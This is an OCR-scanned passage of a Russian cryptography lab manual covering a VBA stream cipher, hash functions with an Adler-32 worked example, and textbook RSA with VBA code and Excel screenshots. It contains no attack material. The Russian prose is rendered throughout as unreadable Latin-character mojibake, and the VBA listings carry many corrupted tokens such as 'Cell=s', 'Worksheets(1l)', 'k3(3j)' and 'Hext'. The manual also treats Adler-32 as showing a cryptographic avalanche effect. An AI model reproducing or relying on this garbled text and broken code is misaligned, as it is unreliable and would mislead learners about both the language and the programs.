Dim k1{11), k2(11), k3{11) As Boolean
i=10
For i = 1 To 22
j=31+1
If j > 11 Then j = 1
W = Worksheets(l).Cell=s(j + 1, 2).Value
If w = 1 Then k1(j) = True
If w = 0 Then kl(j) = False
w = Worksheets(1l).Cells(j + 1, 3).Value
If w =1 Then k2(j) = True
If w = 0 Then k2 (j) = False
W = Worksheets(l).Cell=(j + 1, 4).Value
If w =1 Then k3(j) = True
If w =0 Then k3(j) = False
W = Worksheetz(l).Cells(i + 1, 5).Value

'HemidpoEaTe

If w =1 Then e = True
If w = 0 Then e = False
b = e Xor K3(3)
c = b Xor k2(3)
d = c Xor k1(3j)
If d = True Then w = 1
If d = False Then w = 0
Worksheets(1l) .Cell=s(i + 1, &).Value = w
Next i
End Sub

1

Puc. 3.14. Buo okna mexcma npoepammspi NOMOYHO20 WUGposanus u deuugposa-

HUs (Koaudwecmaeo Kuoyeli — 3, OIuHa Kasxcoozo kuoua — 11 oum, onuna coobujenus
— 22 bum)
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-
£ Microsoft Visual Basic for Applications - Motousoexls - [Tucr2 (Code)] . . . @Eli—hj

-— N
@. File Edit View Inset Format Debug PBEun Teols Add-Ins  Window Help Beeaute Bonpoc - _ 5 X
iEE-Ed o BmA 9 bl @B WA S @ Lnss ol A
Loj=gi= st x| |CommandBuﬂon3 j |Click ﬂ
B ; — i Private Sub CommandButton3 Click() '"ouwmcTHT: E‘
EI@ VBAProject (MoTouHoe.x Range ("B2:F23") .Selectr
2§ Microsoft Excel Objects Selection.Valus = "
1 Mmcr 1 (Muct3) End Sub
1 Mncr2 (Mucr 1)
1 et 3 (MucT2) Private Sub CommandButton4 Click() 'Key Gen 1
%jBTaKmra Dim kK1(11), k2(11), k3(11l) A= Byte
For i = 1 To 11
vy = Rnd(22)
If v > 0.5 Then k1(i}) = 1
If v <« 0.5 Then kl1(i) = 0
Worksheets(l) .Cell=z(i + 1, 2).Value = KkKl(i)

Hext 1
End Sub

Private 5Sub CommandButtons Click() "Eey Gen 2
Dim k1(11), k2(11), k3(11l) A= Byte

For i = 1 To 11

v = Rnd(22)

If ¥y > 0.5 Then k2(i) = 1

If v < 0.5 Then k2(i) = 0

Worksheets(l) .Cell=z(i + 1, 3).Value = kK2(i)
Hext i
End Sub

Private S5Sub CommandButtoné Click() "Eey Gen 3
Dim k1(11), k2(11), k3(11l) A= Byte

For i = 1 To 11

v = Rnd(22)

If v > 0.5 Then k3(i) = 1

If v <« 0.5 Then k3(i) = 0

Worksheetsz(l) .Cell=z(i + 1, 4).Value = Kk3(1i)
Hext i
End Sub

-

e e & EIE o[

Puc. 3.15. Buo oxna mexcma npozpammel cenepamopa Kuroueti 0Jisk NOMO4YHO20
wughposanus u dewupposanus (Koauvecmso Kiuel — 3, OIUHA KAHO020 KIoud —

11 6um)

3amanue Ne 4. /IonoTHUTEIBLHO /IS CAMOCTOATEIbHOI Pa00ThI
CocraBuTh MporpaMmy JJjisi aaropuTMa MOTOYHOTO MU(POBAHUS C TI0-

BBIIIIEHHOMN 3alTUIIIEHHOCTHIO OT TToMeX. [[puMeHHUTh crmoco0 CHHXPOHU3AIMHT
MapKepamH.
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JlaGopaTopans padora 7 AcuMMeTpU4YHOe M ppoBaHUE

bonbuiuMm noctmkenueM kpunrorpaduu nocieaHeil yetBeptu XX Beka
CTaJI0 M300peTeHne MeTo/Aa MmuGPOBaHHUS, OCHOBAHHOTO HA MCIOJB30BaHUU
napbl KJI0uei, 0OJIMH U3 KOTOPBIX MPEJAHa3HAuYEH TOJIBKO JIJIS MIH(ppPOBaHUs, a
Apyroi — TOJbKO Ui Aemn@poBanus. PesuneHT renepupyeT JBa Kitova: 3a-
KPBITBIN (CEKPETHBIN), KOTOPBI HUKOMY HE NEPENAcT U XPAaHUT TOJIBKO Y ce-
051, U OTKPBITHIN (ITyOJIMYHBIN), KOTOPBIM TepeaeT PecloHeHTY, He Ora-
casicb OOHapYXEHUS 3JI0YMBILUIEHHUKOM. PecrionieHT mudpyer cood1eHus
OTKPBITBIM KJIFOYOM, a pacIIu(PpoBaTh UX MOKHO TOJIKO 3aKPBITHIM KIIIOUOM,
XPaHSIIHAMCS Yy pe3uieHTa. BO3MOXKHBI U Ipyrue BapUaHThbl UCIIOJIb30BaAHUS
napsl kiroueit. Hanmpumep, 3aKpbIThId KIIFOY MCIOIB3YETCSA JUIsl (POpMHUPOBA-
HUA 3JIEKTPOHHOW HU(PPOBOW MOJANUCH, & OTKPBITHIMA KIIIOY — JJIs MPOBEPKU
MO/JIMHHOCTH 3TOM MOATHKCH.

MareMaTnyeckoi OCHOBOM 3TOro0 METOJa cTaja pa3paboTKa Tak Ha3bl-
BAaeMbIX XelI-(QyHKIUN, KOTOphle 00JIaJal0T OCOOBIM XapaKTEPHBIM CBOIi-
CTBOM — BBICOKOU CJIOKHOCTBIO 00paTHOTO mpeoOpa3oBaHusi. Uem BhilIe 3Ta
CJIO)KHOCTB, TEM BBILIE U KPUITOCTOMKOCTh AaCUMMETPUYHOTO AJITOPUTMA.

3.2.1. Xem-(pyHKIIUHA

XemmpoBaHue (MHOTA MUIIETCS X3IIUpoBaHue, aHra. hashing) — mpe-
0o0pa3oBaHHE BXOJHOTO MacCHUBa JAHHBIX MPOU3BOJIBHOW JIJIMHBI B BBIXO/I-
HYI0 OUTOBYIO CTPOKY (puKcUpoBaHHOM IuHBI. Takue mpeoOpa3oBaHUs TaK-
K€ HAa3bpIBAIOTCA XeH-QYHKUUSAMU WM (YHKUUSAMH CBEPTKH, a HX pe-
3yJlbTaThl HA3BIBAIOT XEIIEM, XEII-KOJIOM WX AalIKECTOM COOOIEHUSI.

XemupoBaHUe IPUMEHSETCS U1l CPAaBHEHHUS TaHHBIX: €CJIM Y JIBYX Mac-
CUBOB JJaHHBIX XE€II-KOJbl Pa3HbIE, MACCUBBI FaPAHTUPOBAHHO Pa3JIMYaOTCS;
€CJIM OJIMHAKOBBIE — MACCUBBI, CKOpEe BCEro, OJIMHAKOBHI. B o0iem ciydae
OJIHO3HAYHOTO COOTBETCTBHS MEXJYy HMCXOAHBIMH JAHHBIMH WU XEII-KOJIOM
HET B CHJIy TOT'0, YTO KOJMYECTBO 3HAUEHUH Xell-(pyHKIUN MEHbIIE YeM Ba-
PHUAHTOB BXOJIHOI'O MAaCCHBA, HO BEPOSTHOCTh TAKUX COBIIAJCHUI WU KOJUIN-
3UM y XOpoluX Xem-QyHKIUA O4eHb Maa.

Cy1miecTByeT MHOKECTBO aITOPUTMOB XEIIMPOBAHUS C PA3IMUHBIMU Xa-
paKkTepucTUKamMu (pa3psaHOCTb, BBIYMCIUTEIbHAS CIOXHOCTh, KPUIITOCTOM-
KOCTb U T. 1.). Bb1OOp TOM miii MHON Xeu-QyHKUUU ONpeAeiseTcs cnenudu-
KO pemaeMoil 3aiauu. [Ipocreiimmm npuMepom xen-QyHKIUNA MOXKET CITy-
KUTh KOHTpPOJIbHAs cymma. [IpuMepom Takoro anroputrMa siBJISI€TCS IeJIEHUE
cooOmieHust Ha 32- uiu 16- GUTHBIE CIOBA U UX CYMMHPOBAHUE, YTO MPUME-
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HsieTcs, HanpuMep, B nipotokosie TCP/IP. Tlo ckopocTr BBIYHCICHUS TaKue
QJIITOPUTMBI B COTHU Pa3 ObICTpee, YEM aJITOPUTMBI JIJIsI BBIYUCICHUS KPUIITO-
rpaduyeckux Xem-QyHKIHI, 1 3HAYUTEILHO TPOIIE B anapaTHON peannsa-
117078

[ImaToi 3a CTOJIb BBICOKYHO CKOPOCTBH SIBJISIETCS OTCYTCTBHE KPHUIITO-
CTOMKOCTH — JIETKasi BO3MOKHOCTh IMOJOTHATh COOOIICHHE IO 3apaHee H3-
BeCTHYIO0 cyMMy. [1oaTOMy Takue OBICTpbIE U MPOCTHIE AITOPUTMBI UCIIOJIb-
3YIOTCSI TOJIBKO JIJISl 3aIlUTHI OT HENPEJHAMEPEHHOTO MCKaXXeHUs UHQOopMa-
1007078

Cpenu MHOXKECTBA CYIIECTBYIOIIUX XeHI-(QDYHKIMN MPUHATO BBIICIATH
Kpunrorpadguuecku CTOWKHUE, MpUMeHsieMble B kKpuntorpaduu. YtoObr xer-
¢bynkuus H cuurtanace kpunrtorpaduyeckd CTONKOM, OHA JOJIKHA YJIOBJIE-
TBOPSITh TPEM OCHOBHBIM TPEOOBAaHUSM, Ha KOTOPBIX OCHOBAHO OOJIBIIWH-
CTBO MPUMEHEHUH Xem-QyHKIUNA B KpUIITOIpaQuu:

¢ HEOOPATUMOCTB: JJIA 33JAHHOTO 3HAYEHHS XEUI-(PYHKIHMH M IO0IKHO
OBITh BBIYMCIIUTEIHO HEOCYIIECTBUMO HAUTH OJIOK JAHHBIX X, JUIsl KOTOPOTO
H(X) = m;

e CTOMKOCTh K KOJUIM3USIM MEPBOrO PoJa: JJIsl 3aIaHHOTO coobmieHus M
JIOJDKHO OBITh BBIUMCIUTENIBHO HEOCYIIECTBUMO MOA00paTh Apyroe coooiie-
aue N, 1 koroporo H(N) = H(M);

¢ CTOMKOCTh K KOJUIM3USIM BTOPOTO POJa: JOKHO OBITh BBIYUCIUTENBHO
HEOCYILECTBUMO MOA00PATH Mapy COOOIIEHNH, UMEIOIINX OAMHAKOBBIN XEIll.

Cnenyer OTMETHTb, YTO HE JIOKa3aHO CYLIECTBOBAaHHME HEOOpaTHMBbIX
xem-(pyHKIUI, 1 KOTOPBIX BBIYMCIEHHE KaKoro-inbo mpooOpasza 3ajaH-
HOTO 3HaYeHUs XelIl-(QPyHKLUHUU TEOPETUYECKH HEBO3MOKHO. OOBIYHO HaXO0X-
JIeHUuEe 00paTHOrO 3HAYEHUS SABJISETCS JUIIb BBIYUCIUTENIBHO CIIOKHOW 3a/1a-
Yeu.

Jist kpunrorpaguueckux xem-QyHKIUN Takxke BaXHO, YTOOBI TPU Ma-
JedeM W3MEHEHUM apryMeHTa 3HaueHue (YHKUUU CHIBHO HM3MEHSIOCHh
(maBuHHBIN 3¢ dekT). B yacTHOCTH, 3HaUeHHUE Xella He JOJIKHO JaBaTh yTeU-
K MHpopMamuu gaxe o0 OTAEIbHBIX OWTax apryMeHta. JTo TpeOoBaHUE
ABJISIETCSl 3aJI0TOM KPUIITOCTOMKOCTH aJTOPUTMOB XEUIMPOBAHMS, XEIIH-
PYIOIIUX MOJIb30BATENCKUNA MAPOIb [T MOTYYEHHS KITIoYa.

Hau6Gonee wusBectunie xem-¢pyakiuu: Adler-32, CRC, HashCart,
HAVAL, Keccak, LM-xew, MD2 — MD6, N-Hash, PJW-32, RIPEMD-128 —
RIPEMD-320, SHA-1, SHA-2, Skein, Snefru, Tiger, TTH, Whirlpool, TOCT P
34.11-94,

PaccMoTpuM B KauecTBe mpHUMepa aJIrOPUTM BBIUMCICHUS XelI-(PyHK-
muu Adler-32, kotopast 70CTaTOYHO MIMPOKO PACIpPOCTpaHeHa. DTOT ajro-
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pUTM pazpabotan MapkoMm AAnepoM U sIBISEeTCA MOAUpUKauen Xeu-QyHK-
uu Fletcher, paboraromeii Ha OCHOBE BBIYHMCIICHUST KOHTPOJBHON CYMMBI.
Adler-32 Beraucisercs o Gopmysie:
Adler-32(D) = Bx2' + A, (3.7)
rae D — OaliT-koapl CUMBOJIOB MCXOMHOroO Tekcra; A, B — Bcmomora-
TeabHBIE KOA((UIIMEHTHI, KOTOPbIE BBRIUYUCISIOTCS UTEPALMOHHO MO OalT-KO-
JlaM CUMBOJIOB HCXOJTHOTO TEKCTa:

A =1;
Bo=0;
Ai = (Ai1 + Dj) mod 65521; (3.8)

Bi = (Bi.. + Aj)) mod 65521.
Yucno 65521 — 310 camoe OOJBIIOE MPOCTOE YUCIO MEHBINEE, YeM
2'%(65536). PesynbTaT 00BIMHO IPe0OPasyIoT B 1 6-pHUHYIO CHCTEMY CUHCTIC-

Hus (hex). [Mpumep Boramcnenus xem-¢pynknun Adler-32 mpusenen B Tadm.
3.9.

Ta6auua 3.9. [Ipumep Beruncinenus xem-pynkmun Adler-32

HT‘Z;‘ZI;H‘S“ Kox ASCI | Koodd. A | Koo, B Adler-32
1 0
H 72 73 73
a 97 170 243
m 109 279 522
u 117 396 918
h 104 500 1418
i 105 605 2023
n 110 715 2738
1794382831
AB202CB;

B nanHOoM mpumepe onepaiist mod He MoHaI00MUIACh, TAK KakK BCE KO-
adunuentsl Menbie 65521. Ecnmu n3aMeHUTh UCXOMHBIN TeKCT D xoTs ObI
Ha 1 (Hanpumep, BMecTo 97 BBecT 98), TO 3HaueHue xem-¢pynkuun Adler-32
Mmensiercs Ha 179831500. D10 cymiecTBEHHOE U3MEHEHHE TOATBEPIKIAET Ja-
BUHHBIN 3P (HEKT, HEOOXOIUMBIN 7151 KpUnTorpadhuyeckux xeu-QpyHKIui.

3aganue Ne 1
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Beraucnute BpyuHyto 3Hauenue xem-pynkuuu Adler-32 mist coeit da-

MrnH, 3anucanHoi Ha nmatuaune. Koast ASCII B3sTh u3 Ta6:a. 3.10.

Ta6auua 3.10. Kogsr ASCII

Cnm- Kon Cnm- Kon Cnm- Kon Cum- Kon
BOJI ASCII BOJI ASCII BOJI ASCII BOJI ASCII

a 97 I 105 q 113 y 121
b 98 ] 106 r 114 Z 122
c 99 k 107 S 115 ! 33
d 100 I 108 t 116 + 43
e 101 m 109 u 117 : 44
f 102 n 110 Vv 118 - 45
g 103 0 111 w 119 : 46
h 104 p 112 X 120 ? 63

Otuer npeacTaBuTh B GpopMe Tadiu. 3.9, MPOIEMOHCTPUPOBATH JaBUH-
Hblld dhdext xemr-¢pynkuun Adler-32 mns cBoei gpamunvu, 3anmucaHHON Ha
JATUHULIE.

3aganue Ne 2

Beraucnute B Excel 3nauenue xem-¢ynknun Adler-32 mms cBoux wc-
xoaHbIX AaHHbIX «Dammmsa Ums OtaectBoy. Koasr ASCII MoxHO MOayduTh
C TIOMOIIBIO CIEAYIONIETO (PparMeHTa MPOrpaMMbI:

Dim Sym As String

Fori=1To8

Sim = InputBox (“vvedi simvol™, 1)
MsgBox "ascii=" & Asc(Sym)

Next i

Jlist mepeBoa pe3ysbTata U3 JCCATHYHON B IICCTHAANATCPUIHYIO CH-
CTeMy HCII0JIb30BaTh BcTpoeHHyo ¢ynkimio Excel =JJEC.B.ILIECTH(F13),
rae F13 — aapec SYEHKU ¢ YUCIIOM B IECATUYHOM cucTeMe cumciieHus. [1po-
JEMOHCTPUPOBATh JIABUHHBIA 3((PEKT, OTYET MPEACTaBUTh B (popmMe KONMUU
nucta Excel.

3aganue Ne 3

CocraButh nporpammy Ha VBA 111 BEIYKCIIEHHS 3HaYEHUS Xel-(QyHK-
uu Adler-32 3amanHoro TexctoBoro (aiia. [IpogeMoHCTpUpPOBATh JIABUH-
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HBI 5P eKT, OTUET MPEACTaBUTh B (hOpME KOMHI IKpaHa TEKCTOBOTO (Qaiina
¥ OKHA TporpaMmbl. J[Jis ureHus ¢aiina ¢ AUCKa UCIOIb30BATh CIICTYIONTHI
mpuMep.
Dim n, Str, Sym As String
Open "c:\2050.txt" For Input As #1
While Not EOF(1)
Input #1, n ‘yrTaem odepeHyIO CTPOKY TeKCTa U3 (aiia
Str = Str + n * go6aBysieM MPOYNTAHHYIO CTPOKY KO BCEMY TEKCTY
Wend
‘ CI0JIa BCTABUTh BhIUKCIICHHE 3HaueHUS Xeni-pyukmun Adler-32
* 0alThI BBIIEIATH M3 TEKCTA ¢ ToMoIIbio GpyHkiuu Sym = Mid(Str, i, 1)
* ASCII xozpl 6aifToB moJy4yaTh ¢ moMomso GyHKInn Asc(Sym)
Close #1

3aganue Ne 4. /lonoTHUTEIBHO 11 CAMOCTOATEIbHON PA00ThI

CocTtaBUTh IPOrpaMMy Il BBIYUCIEHUS XEI-(QDYHKIUU C MOBBIIIEHHON
KPUIITOCTOMKOCTBIO. Xel-PyHKIHIO BBIOPATh CAMOCTOSATEIBHO.

3.2.2. Aaropurm RSA

RSA — Haunbosee M3BECTHBIN aIrOpPUTM aCUMMETPUYHOTO IIU(POBAHNUSA,
Ha3BaHHBIM MO MepBbIM OykBaM (pammimii ero co3mareneit: Rivest, Shamir,
Aldeman. JIns mpuMEHEHHS 3TOTO aJrOpHTMa MOTPEeOyeTCs HECKOJIBKO Ompe-
JIECJICHUH.

[IpocToe unciio — yucno, KOTopoe AIUTCS TOJIBKO Ha 1 1 Ha camo ce0sl.

B3aumHO npocteie uncia — 4yucia, KOTOpble He UMEIOT HU OJHOTO 00-
Iero AenuTens, kpome 1.

Omnepanus (i mod j) — maeT oCTaToK OT LEIOYHCACHHOTO AeICHHS | Ha |.
Hanpumep, (20 mod 3) = 2, (20 mod 10) = 0, (3 mod 20) = 3.

I'enepauus napsbl kiro4eii no anropurmy RSA

1. BoiOupaem ABa B3aUMHO NPOCTHIX yucia (4eM OoJbllie 3T Yucia,
TEM BBIIIE KPUITOCTOMKOCTh aIropuT™Ma): P u q.

2. OnpeneauM 4ucio N = px(; 3ametuM, uto (N — 1) — MakcuMaibHOE
YHCIJI0, KOTOPOE MOKHO OyAEeT UCHOb30BaTh NMPU MG POBAHUU.

3. Brioepem npoctoe unciao d, koTopoe OyJaeT B3aUMHO IPOCTHIM C pe-
3ysibTaToM YMHOKeHus: (P — 1)x(q — 1).
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4. TTogOepem Takoe YUCIIO e, JJIsl KOTOPOTO UCTUHOW OYJeT cleayrolee
cootnomrenwe: ((€ x d) mod ((p— 1)x(q—1))) = 1.

5. HazoBeM OTKpBITBIM KIIFOUOM Iapy 4uceln (€, N), a 3aKphITbIM KO-
yoM — napy uwucen (d, n).

HludpoBanne 1aHHBIX N0 aaropurmy RSA

1. 3aMeHsIeM B UCXOJIHOM TEKCTE€ CUMBOJIBI Ha uncia M(i) B quamazoHe
ot 0 1o (n —1).
2. IIpeoOpasyem uucina o ciaeayroiiei dopmye (xem-QyHKIms):

C(i) = (M (i)® )Jmod(n) (36)

3. 3amensiem umucia C(i) Ha OykBbl anmpaBuTa, MOIy4aeM IMHAOPOTEKCT

T().
Kak BuaHO M3 amroputMa, i Mr(POBaHUs ObLI MCIIOIB30BaH TOJBKO
OTKPBITHIN KJII0Y — Tapa uucedn (e, n).

JMemmmdpoBanue 1aHHBIX N0 ajaropurmy RSA

1. 3amensiem cumBoJibl mdpotekcra T(i) Ha yucaa C(i).
2. [Ipeobpaszyem uucina no ciaenyromei hopmyre (xem-QyHKIus):
- -\ d
M (i) = (C(i)* Jmod(n) 37)
3. 3amensiem umcina M(i) Ha OykBbl anaBuTa, MOJy4acM HMCXOIHBIH
TEKCT.

Kak BusHO U3 anroputMa, JUisl AemrpoBaHus ObLT HCIOIb30BAH TOJIb-
KO 3aKpBITHIN KiIt0Y — mapa uucen (d, n).

3aganue Ne 1
3amudpoBaTh BpyYHYIO TPHU NEPBBIX OYKBHI ajidaBUTa METOJIOM HIU(-
poBanus mo aiaroputMy RSA. B oTdere mpenctaBuTh TaOIMIly B COOTBET-

CTBHM C IIPUMEPOM, IIPUBEICHHBIM Ha puc. 3.16. Homep BapuanTa nHauBu-
TyaJIbHOTO 3aJIaHMs BBIJAETCS MpernojaBaresieM (puc. 3.16).
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@l H7- A L%‘?‘ = Mpumep RSA ¢ modxls [Pesxum coemectumocti] - Microsoft Bxcel | = | S X
m naeHan Bcraeka PazmeTka CTpaHKLbI DopMynel daHHele PeugHIMpoBaHue Bug Hagerpoiikn [A] e o B O
2y = = & - il - S - - :
J #* Times NewRoman « 12+ A° A7 = (_Jﬁu.umn ?ﬂ YCNoBHOE HOPMATHPOBAHKUE 5= BcraeuTe b W C?a
Ea~ oy A Eg = Eg = %% 000 Emopmamposam KaK Taéauuy * :\“‘ ¥aanuTe E =
BcTaenTe K KF U~ | e - - . o CopTupoeka Haiimi i
- 7 - = EE OB 8 428 5 Cunm aveex - L.;jmoP’“ET - 27w unsTp T BHgEMNTE T
Bydep oBMeHa = WprgT % | BulpaBHWEAHWE Tu Yucno ] CTHAKn Aueiikn PeaakTHpoEaHHE
N18 - F v
A B T D E F G H I I K L M -
1 p= 3q= 5 Bribipaem ABa B3aMMHO OPOCTEIX 4MCNa (QendTc TONBKO Ha 1 1 Ha ceb)
2 n= 15 (n-1) - MaKCHMANBHOE YHCII0, KOTOPOE MOXHO KOIHPOBATH
3 [(p-1Kg-1)= 8d= 7 Beibpats npoctoe d 4Tobe! He bbi10 HU ofHOro obmero nemtens c B3 pcrcpnald |
Bribpats e |
4le= 15 F !
5 | OTrperTeni KiIroH (e, n): 15 15 Mludpopare |
6 SawperTert wod (d, o) 7 15 Aemmdposars |
| 7 Hcx tercr Kop texcra Uludporon Jemubporom Oumetits
s B 3 12 3 BapuanTe! zaganuii (p, q. d)
Il o |A 1 1 1 L 3 11 3
(|
10 |b 2 8 2 2. 3 5 3
il 11 3. 3 5 7
12 4. 3 7 5
13 5 5 3 3
14 6. 7 3 5
15 7. 5 3 70 L
16 8 11 3 3
17
(|
13 1l
M4 M| ectl v Tuo3 R [Ta] M ] 30|
ToTogD | |@@ @ 100% (=) { (+)
E— — — = ————— — = =

Puc. 3.16. Bapuanmul 3a0anuii u pesyiomamol npumenerus arcopumma RSA

3aganue Ne 2

CocraBuTh mporpammy JUisi aCUMMETPUYHOTO MU(POBaHUSA IO ajro-
putMmy RSA. Tlpu cocraBieHuu MporpamMMbl HCIOJB30BaTh oOpaser; (puc.
3.16-3.18), B koTOpHIIt HEOOXOIUMO BHECTH M3MEHEHHS, COOTBETCTBYIOIIHE
Bamemy naauBr1yaqbsHOMY 3aaHUIO.
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E Microsoft Visual Basic for Applications - Mpumep RSA ¢ med.xls [design] - [Mucrl (Code]] -

Format

Debug Run Tools Add-Ins

I o k2 A 0 @ Lns Colls

Window Help

F X

ICommandButhHE vl ICIick vl

i@ File Edit View Insert
EE-E £ 0 ad 9
Project - VBAProject x|
Ca !
5% VBAProject (Npumep RS/
=9 Microsoft Excel Objects
B et 1 (MucT 1)
Mt 2 (et 2)
: et 3 (Muct3)
e Iraknura
]
i
4 1 P

Const t = 3 ' uMCAO CHMMEONOE E coobmesvm
Dim n, d, & &= Long

Dim M(t), C(t) A= Long

-

Private Sub CommandButtonl Click() ° eufpars &
Dim f A= Boolean
= Worksheets(1l)
= Worksheets(l)
= Worksheets(l)
= Worksheets(1l)
=1
Label:

f= (e *d Mod ((p - 1) *
If £ = True And d <> & Then

Worksheets (1) .Cells (4, 2).Value = e
Else

e = + 1

GoTo Label

End If
Worksheets (1) .Cell=s (5,
Worksheet= (1) .Cell= (5,
Worksheets (1) .Cells (6,
Worksheets (1) .Cell= (&,
End Sub

.Cell=si(2,
.Cells (3,
.Cells=s (1,
.Cell=(1,

2) .Value
4) .Value
2) .Value
4} .Value

LI = L R e A=

(g - 1)) =1

3) . Value =
4) .Value
3) .Value
4) .Value =

I
HeEn

Private 5Sub CommandButton? Click()
1 To t
M{i) = Worksheets(l).Cell=s(i + 7,
C{i}) = (M{i}) "~ &) Mod n
Worksheet=s(1l) .Cell=s{(1 + 7,
Hext i
End Sub

'mdpoEaTE
For i =
2) .Value

3) .Value = C(i)

Frivate Sub CommandButton3 Click() °
For i = 1 To t

nemidpoBEaTh

M({i) = (C(i) ~ d) Mod n

Worksheet=(1l) .Cell=(i + 7, 4).Value = M(i)
Hext i
End Sub

Puc. 3.17. Oxno mexcma npoecpammol aneopumma RSA (vacms 1)
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E Microsoft Visual Basic for Applications - Mpumep RSA ¢ med.xls [design] - [Mucrl (Code]] - E‘E‘éj

m. File Edit View Inset Format Debug Run  Tools Add-Ins  Window Help - 8 X
HE-d £ cB& 9 P ook AW & @ Ln6s Cold
Project - VBAProject x| |CommandBuﬂon4 j |Click ﬂ
= ; J | 7] Private Sub CommandButton5 Click() ' nposepurs d Z‘
E@ VBAProject (Mpumep RS{ Dim f A= Boolean
E@ Microsoft Excel Objects k = Worksheets(l).Range ("b3") .Value
Mt 1 (et 1) d = Worksheets(1l).Range ("D3") .Value
Mt 2 (et 2) If d £ 2 Then
et 3 (Muct3) MzgBox "UMCHO HeOpaBMmEHOE"
@ 3TakHura GoTo Label2
End If
f = False
For i = 2 To 327a7
Ll = k Mod 1
L2 = d Mod i

f=1L1+1L2 =20
If £ Then GoTo Labell
Hext i
Labell:
If £ Then
MzgBox "Ecrr ofmai memMTens, EHEepMTE OpyDoe uKcao™
Elsze
M=gBox "Uwmcno npasmneHoe, ofmMx nemwrensew HetT"
End If
Label2:
End Sub
Private Sub CommandButton4 Click() ' oumMcTHTE
Worksheets (1) .Range ("BE4"™) .Value = "7
Worksheets (1) .Range ("c5:d5") .Valus = "
Worksheets (1) .Range ("c6:d6") .Value = ""
For i = 1 To t
Worksheet=z(1l) .Cell=(i + 7, 3).ClearContents
Worksheet= (1) .Cell=s(i + 7, 4).ClearContents
Hext i
End Sub|

P el e T Bl

Puc. 3.18. Oxno mexcma npoecpammol aneopumma RSA (vacms 2)

3aganue Ne 3

B mporpaMme, cocTaBiIeHHOH 110 3aJaHHIO 2 3aMEHHUTH Omepaiiuo mod,
KOTOpasi MOXKET BBITIOJHATHCS TOJIBKO HAJ IEJIBIMUA YUCJIAMH, U OTpPaHUYEHA
MaKCUMYyMOM TIpUMEpPHO 2 Mipa. st aToro tpedyercst Hanmucarh QyHKIIHIO,
KOTOpasi BHITIOJIHSJIA Obl aHAJOTUYHYIO OTEpAIlMI0 HaJl YyuciaMu Tuma Dou-
ble. TTociie 3amMeHbI IPOJCMOHCTPUPOBATh paboTy anropurMa RSA Hax cBoeit
damunueit u umenem. [Ipumep npuBenen na puc. 3.19-3.21.
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— B
Mpumep RSA c Dmodxls [Peknnm cunmmoanWE@g
PasmeTka rpaHuLibl opryns JarHee PeLeHsnnOBaHIE Bug Haacrooiikn & = @ ER
T : -
Times NewRoman = 12 = A" A [%] o g OBwmit - Y:ﬂom—me dopmatuposaHue - 32 Berasute - E v ﬂ Eﬁ
- % - % 000 (8 oopmatuposare kak TaGauyy - | 3 YaanuTe - E -
B (=7 = Ci Hait
e o 55 crumm aueex - Eeopuar | 27y lpunern - sugennre-
Bydep 06m.. ] BripaEHMEaHWE Pl Yucno ] CTHan Aueiikn PejakTuposaHue
N23 - £ v
A B C D | F G H I I K I M N ;
1 P= 11 q= 3 Bribipaem nea EzanMHO MPOCTBIX YHCHa (QenaTea Toneko Ha 1 1 Ha ceba)
2 n= 33 (n-1) - MaKCHMATEHOE HCI0, KOTOPOe MOXHO KOIHPOEATE
L
| 3 (p-lXg-1= 20 d= 7 Beropats mpoctoe d uTober He ObIno HI onHOro obmero memitens c B3 MI 1
0| 4 . 3 Bribpam e | |
f 5 BITBI ENTROY (€, m): 3 33 Ulndpozars |
6 brreii ko (d, n): 7 3 Aemudposars |
|
| 7 | Hex texcr Kop tercra [llndporon Jemmdporon Ouuctnts |
3 X 22 22 22 |
: 9 a 1 1 1 .
10 M 13 19 13 |
I 11 v 20 14 20
12 X 22 22 22
| 13 i3 9 3 9 (|
14 H 14 5 14
i 15 a 1 1 1 i
! 16 n 12 12 12
| 17 e 6 18 6
| 18 K 11 11 11
19 [ 18 24 18
i 20 a 1 1 1
il 21 H 14 5 14
22 o 5 26 5 =
(|
=] »p 17 29 17 [ 1
H A M| Jmcrl Twa2 S Tna3 Ed o] [ ] v
FoToBO | | B 100% @—U—@

Puc. 3.19. Unmepgpetic npoepammer ancopumma RSA ¢ 3amenennoii onepayueii
mod
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5 Microsoft Visual Basic for Applications - Mpumep RSA ¢ Dmod.xls - [Mwcrl (Code)]

Bl 4 s Eme e oo ek EEFW e @ Ln3cos

@. File Edit View Insert Format Debug Run  Tools Add-Ins  Window Help Beegure Bonpoc

Project - VBAProject x| ICommandBuﬂoM 'l IC“Ck

EHE 3 =

- Const £t = 16 ' 49WMCAO CHMMEONOE B coobmeHMma
EI@ VBAProject (Mpumep RS54 Dim n, d, e, a, b, g Rz Double
EI@ Microsoft Excel Objects Dim M(t), C(t) As Double
: et 1 (Muct 1) Private Sub CommandButtonl Click(} ' smfpaTts e
et 2 (Muct2) Dim £ A= Boolean
et 3 (Muct3) f = False
@ Staknura If Worksheets (1) .Range ("N3").Value = 0 Then
| M=gBox "lposeps d4d!7
GoTo label2
| End If
n = Worksheets(l).Cells (2, 2).WValue
d = Worksheets(l).Cells (3, 4).Value
p = Worksheets (1) .Cells (1, 2).WValue
g = Worksheets(l) .Cell=s (1, 4).Value
e =1
Label:
'f= (e *d) Mod ((p-1) * (g-1)}) =1
a = (e * d)
B={ip-1) * (g- 1))

g = Imodia, b)

f=g=1

If £ = True And d <> & Then

Worksheets (1) .Cells (4, 2).Value = e
Else

e = + 1

GoTo Label

End If

Worksheets (1) .Cell=s (5, 3).Value =
Worksheets (1) .Cells (5, 4).Value =
Worksheets (1) .Cells (6, 3).Value =
Worksheets (1) .Cell= (6, 4).Value =
labelZ:
End Sub

HopHom

Priwvate Sub CommandButton2 Click() 'mmdposaTs
For i =1 To ¢

M({i) = Worksheets(1l).Cells(i + 7, 2).Value
II 'Ci{i) = (M{(i} "~ e) Mod n
| a=M(i) ~ e
b=mn
C(i) = Dmod(a, b)
Worksheets(1l).Cells(i + 7, 3).Value = C(i)
| Hext i
End Sub

Il T 3 _l 1I I

.

)

Puc. 3.20. Ilpumep 3amenvt onepayuu mod ¢ynxyuei Dmod 6 npoecpamme aneo-

pumma RSA (vacmo 1)
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Dim f As Boolean
k = Worksheet=(l).Range ("b3") .Value
d = Worksheets(l).Range ("D3") .Value
If d < 2 Then
MsgBox "Umcno HenpasMneHOoe"
GoTo labelZ2
End If
£ = False
For i = 2 To 32767
Ll = K Mod 1
L2 = d HMod i
f=L1+L2 =20
If £ Then GoTo Labell
Hext 1
Labell:
If £ Then

Worksheets (1) .Range ("N3") .Value = 0

Else
MsgBox "UMCNO OpaEMneHoe, ofIMX memuTenel HerT"
